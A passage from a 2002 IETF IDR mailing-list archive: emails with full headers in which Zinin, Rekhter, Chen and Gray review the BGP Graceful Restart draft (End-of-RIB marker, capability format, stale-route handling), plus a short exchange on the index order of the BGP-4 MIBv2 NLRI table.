(section 6.8): Unless allowed via configuration, a connection collision with an existing BGP connection that is in Established state causes closing of the newly created connection. So, not closing connection in the case of a connection collision with an existing BGP connection is a *configuration* option. > >> >> > Once the session is re-established, if the "Forwarding State" bit for > >> >> > an address family is not set in the received Graceful Restart > >> >> > Capability, or if the capability is not received for an address > >> >> > family, the Receiving Speaker shall immediately remove all the sta le > >> >> > routes from the peer that it is retaining for that address family. > >> >> > >> >> Does the phrase "is not received" mean "not confirmed by the new capabi lity > >> >> announcement"? > >> > >> > the phrase "is not received" means exactly what it said - not received. > >> > >> I guess my question is whether you mean not received from the session > >> that we had before the restart or the one established after it. > > > The text seems to be quite clear - "Once the session is re-established..." > > > How about some small beautifications: > > > Once the session is re-established, if the "Forwarding State" bit for > > an address family is not set in the received Graceful Restart > ^ > "newly" ok. > > Capability, or if the capability is not received for an address > > family, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > ^^^^^^-> change to: > > "or if a specific address family is included in it, or This is incorrect - if the specific address family is included, then you certainly do *not* immediately remote all the routes for that address familiy. > if the Graceful Restart Capability is not received for the new > session at all," Capability is not "for the new session", but for *address family*. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA22427 for ; Fri, 3 May 2002 14:48:55 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id CDCFB9130B; Fri, 3 May 2002 14:48:20 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 2EFDF9130C; Fri, 3 May 2002 14:48:19 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 5BA929130B for ; Fri, 3 May 2002 14:47:11 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 22E985DDFB; Fri, 3 May 2002 14:47:11 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id EE0ED5DDEA for ; Fri, 3 May 2002 14:47:10 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173i5G-0007wm-00; Fri, 03 May 2002 11:47:10 -0700 Date: Fri, 3 May 2002 11:46:31 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin X-Priority: 3 (Normal) Message-ID: <879771204.20020503114631@psg.com> To: Enke Chen Cc: Yakov Rekhter , idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: <20020503180009.85F9015D3C1@popserv1.redback.com> References: <20020503180009.85F9015D3C1@popserv1.redback.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Enke, Thanks for the answer! > Sorry for this later reply. > The answer is "Yes". It can be quite useful in a planned "restart" > to adjust the "Restart Time" based on the particular situation. Yep, as well as to change it without toggling the sessions whenever the admin configures a different value for the unplanned restart. BTW, since the dynamic capabilities draft says that not all capabilities should be dynamically updates, it makes sense to explicitly say that this is allowed for the graceful restart one, as well as describe how to handle the case where the admin wants planned restarts only. Thanks. Alex Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA22204 for ; Fri, 3 May 2002 14:40:56 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 873CA9130A; Fri, 3 May 2002 14:40:26 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 549919130B; Fri, 3 May 2002 14:40:26 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 328859130A for ; Fri, 3 May 2002 14:40:25 -0400 (EDT) Received: by segue.merit.edu (Postfix) id EFC325DE29; Fri, 3 May 2002 14:40:24 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id C2AE25DDEA for ; Fri, 3 May 2002 14:40:24 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173hyi-0007pb-00; Fri, 03 May 2002 11:40:24 -0700 Date: Fri, 3 May 2002 11:39:45 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin X-Priority: 3 (Normal) Message-ID: <1499365354.20020503113945@psg.com> To: Yakov Rekhter Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: <200205031730.g43HUrT87526@merlot.juniper.net> References: <200205031730.g43HUrT87526@merlot.juniper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Yakov, >> >> - Can the restart capability be dynamically updated? >> >> missed an answer here :) > I hope my co-author (Enke) will provide you with one :-) Yep, got it :) >> I'm not sure I agree here. The Receiving Speakers cannot >> tell the difference between a planned and an unplanned >> tear down of the transport connection. One way of making sure >> unplanned restart is not hitless is (I think) to announce >> restart capability with no AFI/SAFI to the neighbors initially >> and update it when the admin requests the restart. Hence my first >> question above. I think this topic is quite important and there >> should be some info in the doc on this. > Or just set the Forwarding State bit to 1 after a planned restart, > and to 0 in all other cases. I thought about this as well. The disadvantage is that the Receiving Speaker will still wait until the new session is established or the timer expires. >> Here's what we have in 6.8 of the BGP spec: >> >> Unless allowed via configuration, a connection collision with an >> existing BGP connection that is in Established state causes >> closing of the newly created connection. > We'll add some text to say that a node has to be configured to prevent > a connection collision with an existing BGP connection that is in > Established state to causes closing of the newly created connection. Right, except that this is not a configuration option. >> >> > Once the session is re-established, if the "Forwarding State" bit for >> >> > an address family is not set in the received Graceful Restart >> >> > Capability, or if the capability is not received for an address >> >> > family, the Receiving Speaker shall immediately remove all the stale >> >> > routes from the peer that it is retaining for that address family. >> >> >> >> Does the phrase "is not received" mean "not confirmed by the new capability >> >> announcement"? >> >> > the phrase "is not received" means exactly what it said - not received. >> >> I guess my question is whether you mean not received from the session >> that we had before the restart or the one established after it. > The text seems to be quite clear - "Once the session is re-established..." How about some small beautifications: > Once the session is re-established, if the "Forwarding State" bit for > an address family is not set in the received Graceful Restart ^ "newly" > Capability, or if the capability is not received for an address > family, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^-> change to: "or if a specific address family is included in it, or if the Graceful Restart Capability is not received for the new session at all," > the Receiving Speaker shall immediately remove all the stale > routes from the peer that it is retaining for that address family. Alex. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA22057 for ; Fri, 3 May 2002 14:33:46 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 3832091210; Fri, 3 May 2002 14:33:22 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id E60F99130A; Fri, 3 May 2002 14:33:21 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 67D6D91210 for ; Fri, 3 May 2002 14:33:19 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 229815DE11; Fri, 3 May 2002 14:33:19 -0400 (EDT) Delivered-To: idr@merit.edu Received: from sandmail.sandburst.com (sandmail.sandburst.com [216.57.132.42]) by segue.merit.edu (Postfix) with ESMTP id 96DA85DDF3 for ; Fri, 3 May 2002 14:33:18 -0400 (EDT) Message-ID: <3CD2D7ED.BEC7B07B@sandburst.com> Date: Fri, 03 May 2002 14:33:17 -0400 From: Eric Gray MIME-Version: 1.0 To: Enke Chen Cc: Alex Zinin , Yakov Rekhter , idr@merit.edu Subject: Re: Last call on Graceful Restart References: <20020503180009.85F9015D3C1@popserv1.redback.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Enke, Please see below... You wrote: > Hi, Alex: > > > Date: Fri, 3 May 2002 10:01:04 -0700 > > From: Alex Zinin > > To: Yakov Rekhter > > Cc: idr@merit.edu > > Subject: Re: Last call on Graceful Restart > > > > Yakov, > > > > Thanks for the answers, see inline below, please. > > > > >> Meta-comments: > > >> > > >> - Can the restart capability be dynamically updated? > > > > missed an answer here :) > > Sorry for this later reply. > > The answer is "Yes". It can be quite useful in a planned "restart" > to adjust the "Restart Time" based on the particular situation. > > -- Enke > > > > > >> - How does this doc address the situation where the admin wants > > >> the graceful restart to happen for planned restarts > > >> (during SW upgrades, etc.) but not for unplanned ones? > > > > > This is an implementation issue. > > > > I'm not sure I agree here. The Receiving Speakers cannot > > tell the difference between a planned and an unplanned > > tear down of the transport connection. One way of making sure > > unplanned restart is not hitless is (I think) to announce > > restart capability with no AFI/SAFI to the neighbors initially > > and update it when the admin requests the restart. Hence my first > > question above. I think this topic is quite important and there > > should be some info in the doc on this. > > > > >> > An UPDATE message with empty withdrawn NLRI is specified as the End- > > >> > Of-RIB Marker that can be used by a BGP speaker to indicate to its > > >> > peer the completion of the initial routing update after the session > > >> > is established. For IPv4 unicast address family, the End-Of-RIB > > >> > Marker is an UPDATE message with the minimum length [BGP-4]. > > >> > > >> I guess this implicitly means that no reachable NLRIs and attributes > > >> should be in it. Why not say this explicitly? > > > > > To avoid redundant text. > > > > OK, I found reading the first sentence a little bit unclear, > > because that sentence did not say anything about reachable NLRI. > > Let me suggest wording that I think would help: > > > > An UPDATE message with empty withdrawn NLRI is specified as the End- > > ^ > > "no reachable NLRI and " > > Of-RIB Marker that can be used by a BGP speaker to indicate to its > > peer the completion of the initial routing update after the session > > is established. For IPv4 unicast address family, the End-Of-RIB > > Marker is an UPDATE message with the minimum length [BGP-4]. I agree with Alex here in that this should be explicit. The text in question might be considered redundant ONLY for the IPv4 case - leaving it unclear as to what is meant to be done in another case. > > > > > >> Does it mean we need to send a separate message per AFI/SAFI? > > > > > Yes, as "The same attribute cannot appear more than once within the Path > > > Attributes field of a particular UPDATE message." (BGP-4 spec). > > > > ...and MP_REACH can encode one AFI/SAFI only. Make sense. > > > > >> > +--------------------------------------------------+ > > >> > | Restart Flags (4 bits) | > > >> > +--------------------------------------------------+ > > >> > | Restart Time in seconds (12 bits) | > > >> > +--------------------------------------------------+ > > >> > > >> I think that given the bit level break-up you should show > > >> the header in the normal IETF format. > > > > > What makes you think that the format used in the document is not > > > a "normal IETF format" ? :-) I agree that the current format description is slightly misleading. > > > > > Sorry, I didn't mean to say it was "not normal" ;) > > I guess what I'm looking for is something like this: > > > > 0 1 > > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > | Flags | Restart Time | > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > > > > > > > >> > > >> > | Address Family Identifier (16 bits) | > > >> > +--------------------------------------------------+ > > >> > | Subsequent Address Family Identifier (8 bits) | > > >> > +--------------------------------------------------+ > > >> > | Flags for Address Family (8 bits) | > > >> > +--------------------------------------------------+ > > >> > | ... | > > >> > +--------------------------------------------------+ > > >> > | Address Family Identifier (16 bits) | > > >> > +--------------------------------------------------+ > > >> > | Subsequent Address Family Identifier (8 bits) | > > >> > +--------------------------------------------------+ > > >> > | Flags for Address Family (8 bits) | > > >> > +--------------------------------------------------+ > > > > And maybe something like this here: > > > > 0 1 2 3 > > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > | Address Family ID | SAFI ID | AF Flags | > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > > > What I normally see in an RFCs is as Alex describes only the result would be something like this: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Flags | Restart Time | Address Family ID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SAFI ID | AF Flags | ... Additional AF Info | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ : ... : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | AF info continued ... | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ It is clear that this 'picture' can be derived from the text, but the 'picture' in the current text gives the first impression that the fields are the same length - in spite of the fact that the number of bits makes it clear (eventually) that this is not the case... > > > > ... > > > > Alex > > > > -- Eric Gray (mailto:eric.gray@sandburst.com) http://www.mindspring.com/~ewgray Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA21257 for ; Fri, 3 May 2002 14:01:46 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 6910F91309; Fri, 3 May 2002 14:00:15 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id E2AF19130A; Fri, 3 May 2002 14:00:14 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 4669491309 for ; Fri, 3 May 2002 14:00:12 -0400 (EDT) Received: by segue.merit.edu (Postfix) id C44C85DDEA; Fri, 3 May 2002 14:00:10 -0400 (EDT) Delivered-To: idr@merit.edu Received: from prattle.redback.com (prattle.redback.com [155.53.12.9]) by segue.merit.edu (Postfix) with ESMTP id EAC585DDBC for ; Fri, 3 May 2002 14:00:09 -0400 (EDT) Received: from popserv1.redback.com (popserv1.redback.com [155.53.12.56]) by prattle.redback.com (Postfix) with ESMTP id B202439B5A6; Fri, 3 May 2002 11:00:09 -0700 (PDT) Received: from redback.com (fall.redback.com [155.53.36.220]) by popserv1.redback.com (Postfix) with ESMTP id 85F9015D3C1; Fri, 3 May 2002 11:00:09 -0700 (PDT) To: Alex Zinin Cc: Yakov Rekhter , idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Message from Alex Zinin of "Fri, 03 May 2002 10:01:04 PDT." <1573443852.20020503100104@psg.com> Date: Fri, 03 May 2002 11:00:09 -0700 From: Enke Chen Message-Id: <20020503180009.85F9015D3C1@popserv1.redback.com> Sender: owner-idr@merit.edu Precedence: bulk Hi, Alex: > Date: Fri, 3 May 2002 10:01:04 -0700 > From: Alex Zinin > To: Yakov Rekhter > Cc: idr@merit.edu > Subject: Re: Last call on Graceful Restart > > Yakov, > > Thanks for the answers, see inline below, please. > > >> Meta-comments: > >> > >> - Can the restart capability be dynamically updated? > > missed an answer here :) Sorry for this later reply. The answer is "Yes". It can be quite useful in a planned "restart" to adjust the "Restart Time" based on the particular situation. -- Enke > > >> - How does this doc address the situation where the admin wants > >> the graceful restart to happen for planned restarts > >> (during SW upgrades, etc.) but not for unplanned ones? > > > This is an implementation issue. > > I'm not sure I agree here. The Receiving Speakers cannot > tell the difference between a planned and an unplanned > tear down of the transport connection. One way of making sure > unplanned restart is not hitless is (I think) to announce > restart capability with no AFI/SAFI to the neighbors initially > and update it when the admin requests the restart. Hence my first > question above. I think this topic is quite important and there > should be some info in the doc on this. > > >> > An UPDATE message with empty withdrawn NLRI is specified as the End- > >> > Of-RIB Marker that can be used by a BGP speaker to indicate to its > >> > peer the completion of the initial routing update after the session > >> > is established. For IPv4 unicast address family, the End-Of-RIB > >> > Marker is an UPDATE message with the minimum length [BGP-4]. > >> > >> I guess this implicitly means that no reachable NLRIs and attributes > >> should be in it. Why not say this explicitly? > > > To avoid redundant text. > > OK, I found reading the first sentence a little bit unclear, > because that sentence did not say anything about reachable NLRI. > Let me suggest wording that I think would help: > > An UPDATE message with empty withdrawn NLRI is specified as the End- > ^ > "no reachable NLRI and " > Of-RIB Marker that can be used by a BGP speaker to indicate to its > peer the completion of the initial routing update after the session > is established. For IPv4 unicast address family, the End-Of-RIB > Marker is an UPDATE message with the minimum length [BGP-4]. > > >> Does it mean we need to send a separate message per AFI/SAFI? > > > Yes, as "The same attribute cannot appear more than once within the Path > > Attributes field of a particular UPDATE message." (BGP-4 spec). > > ...and MP_REACH can encode one AFI/SAFI only. Make sense. > > >> > +--------------------------------------------------+ > >> > | Restart Flags (4 bits) | > >> > +--------------------------------------------------+ > >> > | Restart Time in seconds (12 bits) | > >> > +--------------------------------------------------+ > >> > >> I think that given the bit level break-up you should show > >> the header in the normal IETF format. > > > What makes you think that the format used in the document is not > > a "normal IETF format" ? :-) > > Sorry, I didn't mean to say it was "not normal" ;) > I guess what I'm looking for is something like this: > > 0 1 > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > | Flags | Restart Time | > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > > > >> > >> > | Address Family Identifier (16 bits) | > >> > +--------------------------------------------------+ > >> > | Subsequent Address Family Identifier (8 bits) | > >> > +--------------------------------------------------+ > >> > | Flags for Address Family (8 bits) | > >> > +--------------------------------------------------+ > >> > | ... | > >> > +--------------------------------------------------+ > >> > | Address Family Identifier (16 bits) | > >> > +--------------------------------------------------+ > >> > | Subsequent Address Family Identifier (8 bits) | > >> > +--------------------------------------------------+ > >> > | Flags for Address Family (8 bits) | > >> > +--------------------------------------------------+ > > And maybe something like this here: > > 0 1 2 3 > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > | Address Family ID | SAFI ID | AF Flags | > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > > > >> > The remaining bits are reserved. > >> > >> ...and this text should correspond to the illustration of the header > >> above > > > We'll add a figure to illustrate the format of the Restart Flags field. > > Thanks! > > >> should the reserved bits be set to 0? > > > yes, set to 0, ignored when received. We'll add this to the text. > > Thanks! > > >> Do we need some more info here? I.e., what does it really mean > >> when I receive this capability with no AFI/SAFI in it? > > > How about if we'll replace the last sentence in the above with > > the following: > > > When a sender of this capability doesn't include any > Sub-AFI> in the capability, it means that the sender is not > > capable of preserving its forwarding state during BGP restart, > > but is going to generate the End-of-RIB marker upon the completion > > of its initial routing updates. The value of the "Restart Time" > > field is irrelevant in that case. > > Perfect! Exactly what I'm looking for. > > >> > restart. In case it does not detect the TCP reset and still > >> > considers the BGP session as being established, it shall treat the > >> > subsequent open connection from the peer as an indication of TCP > >> > reset and act accordingly (when the Graceful Restart Capabilty has > >> > been received from the peer). > >> > >> How does this work together with the connection collision mechanism? > > > what do you think is the problem here ? > > Here's what we have in 6.8 of the BGP spec: > > Unless allowed via configuration, a connection collision with an > existing BGP connection that is in Established state causes > closing of the newly created connection. > > >> > Once the session is re-established, if the "Forwarding State" bit for > >> > an address family is not set in the received Graceful Restart > >> > Capability, or if the capability is not received for an address > >> > family, the Receiving Speaker shall immediately remove all the stale > >> > routes from the peer that it is retaining for that address family. > >> > >> Does the phrase "is not received" mean "not confirmed by the new capability > >> announcement"? > > > the phrase "is not received" means exactly what it said - not received. > > I guess my question is whether you mean not received from the session > that we had before the restart or the one established after it. > > >> I don't think the procedure for "unmarking" routes as stale has > >> been described here. > > > there is no "unmarking" of stale routes. A stale route is either > > (a) replaced by the routing update received from the peer, or (b) > > deleted once the End-of-RIB marker is received. > > My bad. Sorry. > > Alex > > Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id NAA20607 for ; Fri, 3 May 2002 13:35:01 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id D347791305; Fri, 3 May 2002 13:34:40 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 7C2E591306; Fri, 3 May 2002 13:34:40 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 41B0191305 for ; Fri, 3 May 2002 13:34:39 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 0E9A75DDBC; Fri, 3 May 2002 13:34:39 -0400 (EDT) Delivered-To: idr@merit.edu Received: from smtp.adc.com (smtp.adc.com [155.226.10.207]) by segue.merit.edu (Postfix) with ESMTP id 657735DDEA for ; Fri, 3 May 2002 13:34:38 -0400 (EDT) Received: from smtp.adc.com (localhost [127.0.0.1]) by smtp.adc.com (8.11.1/8.11.1) with ESMTP id g43HYbX25139 for ; Fri, 3 May 2002 12:34:37 -0500 (CDT) Received: from kbenstead (bas-195-163.basystems.com [146.71.195.163]) by smtp.adc.com (8.11.1/8.11.1) with SMTP id g43HYbc25131 for ; Fri, 3 May 2002 12:34:37 -0500 (CDT) From: "Ken Benstead" To: Subject: RE: BGP-4 MIBv2 NLRI Table Date: Fri, 3 May 2002 13:35:35 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <20020503114712.C27013@nexthop.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-idr@merit.edu Precedence: bulk Excellent. Thanks, Ken > -----Original Message----- > From: Jeffrey Haas [mailto:jhaas@nexthop.com] > Sent: Friday, May 03, 2002 11:47 AM > To: Susan Hares > Cc: Ken Benstead; idr@merit.edu > Subject: Re: BGP-4 MIBv2 NLRI Table > > > Sorry for not responding to this earlier. > > Ken, > > This will be fixed in the next version of the MIB. > > On Thu, May 02, 2002 at 07:17:50PM -0400, Susan Hares wrote: > > Ken: > > > > Why do you expect the Prefix before the prefix length? > > > > sue > > > > At 01:29 PM 4/22/2002 -0400, Ken Benstead wrote: > > >Hi Folks, > > >I noticed that the NLRI Table in the BGP4 MIBv2 (draft 2) has the > > >following index clause: > > > > > > INDEX { > > > bgpM2PeerIndex, > > > bgpM2NlriAfi, > > > bgpM2NlriSafi, > > > bgpM2NlriPrefixLen, > > > bgpM2NlriPrefix, > > > bgpM2NlriIndex > > > } > > > > > >Is there a reason that the bgpM2NlriPrefixLen and bgpM2NlriPrefix > > >objects are the opposite order to what one might normally expect? > > >For example, in the BGP-4 Received Path Attribute Table of > > >RFC1657 the index clause is: > > > > > > > > > INDEX { > > > bgp4PathAttrIpAddrPrefix, > > > bgp4PathAttrIpAddrPrefixLen, > > > bgp4PathAttrPeer > > > } > > > > > >Thanks, > > >Ken Benstead > > > > > > > > -- > Jeff Haas > NextHop Technologies Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id NAA20546 for ; Fri, 3 May 2002 13:31:49 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 4ED1391304; Fri, 3 May 2002 13:30:56 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 1A33E91305; Fri, 3 May 2002 13:30:56 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id D7EBF91304 for ; Fri, 3 May 2002 13:30:54 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 9A5D15DDBC; Fri, 3 May 2002 13:30:54 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 435015DD9C for ; Fri, 3 May 2002 13:30:54 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43HUrT87526; Fri, 3 May 2002 10:30:53 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031730.g43HUrT87526@merlot.juniper.net> To: Alex Zinin Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 10:01:04 PDT." <1573443852.20020503100104@psg.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <6027.1020447053.1@juniper.net> Date: Fri, 03 May 2002 10:30:53 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Alex, > Yakov, > > Thanks for the answers, see inline below, please. > > >> Meta-comments: > >> > >> - Can the restart capability be dynamically updated? > > missed an answer here :) I hope my co-author (Enke) will provide you with one :-) > >> - How does this doc address the situation where the admin wants > >> the graceful restart to happen for planned restarts > >> (during SW upgrades, etc.) but not for unplanned ones? > > > This is an implementation issue. > > I'm not sure I agree here. The Receiving Speakers cannot > tell the difference between a planned and an unplanned > tear down of the transport connection. One way of making sure > unplanned restart is not hitless is (I think) to announce > restart capability with no AFI/SAFI to the neighbors initially > and update it when the admin requests the restart. Hence my first > question above. I think this topic is quite important and there > should be some info in the doc on this. Or just set the Forwarding State bit to 1 after a planned restart, and to 0 in all other cases. > >> > An UPDATE message with empty withdrawn NLRI is specified as the End- > >> > Of-RIB Marker that can be used by a BGP speaker to indicate to its > >> > peer the completion of the initial routing update after the session > >> > is established. For IPv4 unicast address family, the End-Of-RIB > >> > Marker is an UPDATE message with the minimum length [BGP-4]. > >> > >> I guess this implicitly means that no reachable NLRIs and attributes > >> should be in it. Why not say this explicitly? > > > To avoid redundant text. > > OK, I found reading the first sentence a little bit unclear, > because that sentence did not say anything about reachable NLRI. > Let me suggest wording that I think would help: > > An UPDATE message with empty withdrawn NLRI is specified as the End- > ^ > "no reachable NLRI and " > Of-RIB Marker that can be used by a BGP speaker to indicate to its > peer the completion of the initial routing update after the session > is established. For IPv4 unicast address family, the End-Of-RIB > Marker is an UPDATE message with the minimum length [BGP-4]. seems reasonable. [clipped...] > >> > restart. In case it does not detect the TCP reset and still > >> > considers the BGP session as being established, it shall treat the > >> > subsequent open connection from the peer as an indication of TCP > >> > reset and act accordingly (when the Graceful Restart Capabilty has > >> > been received from the peer). > >> > >> How does this work together with the connection collision mechanism? > > > what do you think is the problem here ? > > Here's what we have in 6.8 of the BGP spec: > > Unless allowed via configuration, a connection collision with an > existing BGP connection that is in Established state causes > closing of the newly created connection. We'll add some text to say that a node has to be configured to prevent a connection collision with an existing BGP connection that is in Established state to causes closing of the newly created connection. > >> > Once the session is re-established, if the "Forwarding State" bit for > >> > an address family is not set in the received Graceful Restart > >> > Capability, or if the capability is not received for an address > >> > family, the Receiving Speaker shall immediately remove all the stale > >> > routes from the peer that it is retaining for that address family. > >> > >> Does the phrase "is not received" mean "not confirmed by the new capability > >> announcement"? > > > the phrase "is not received" means exactly what it said - not received. > > I guess my question is whether you mean not received from the session > that we had before the restart or the one established after it. The text seems to be quite clear - "Once the session is re-established..." Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id NAA20268 for ; Fri, 3 May 2002 13:20:12 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 1403C91303; Fri, 3 May 2002 13:19:51 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id D58B791304; Fri, 3 May 2002 13:19:50 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id EC48D91303 for ; Fri, 3 May 2002 13:19:49 -0400 (EDT) Received: by segue.merit.edu (Postfix) id BBE1B5DDEA; Fri, 3 May 2002 13:19:49 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 6390B5DD9C for ; Fri, 3 May 2002 13:19:49 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g43HJmi98848; Fri, 3 May 2002 13:19:48 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: from jhaas.nexthop.com (jhaas.nexthop.com [64.211.218.31]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g43HJjO98841; Fri, 3 May 2002 13:19:45 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: (from jhaas@localhost) by jhaas.nexthop.com (8.11.0/8.11.0) id g43HJjj05431; Fri, 3 May 2002 13:19:45 -0400 (EDT) Date: Fri, 3 May 2002 13:19:45 -0400 From: Jeffrey Haas To: Yakov Rekhter Cc: idr@merit.edu Subject: Re: Last 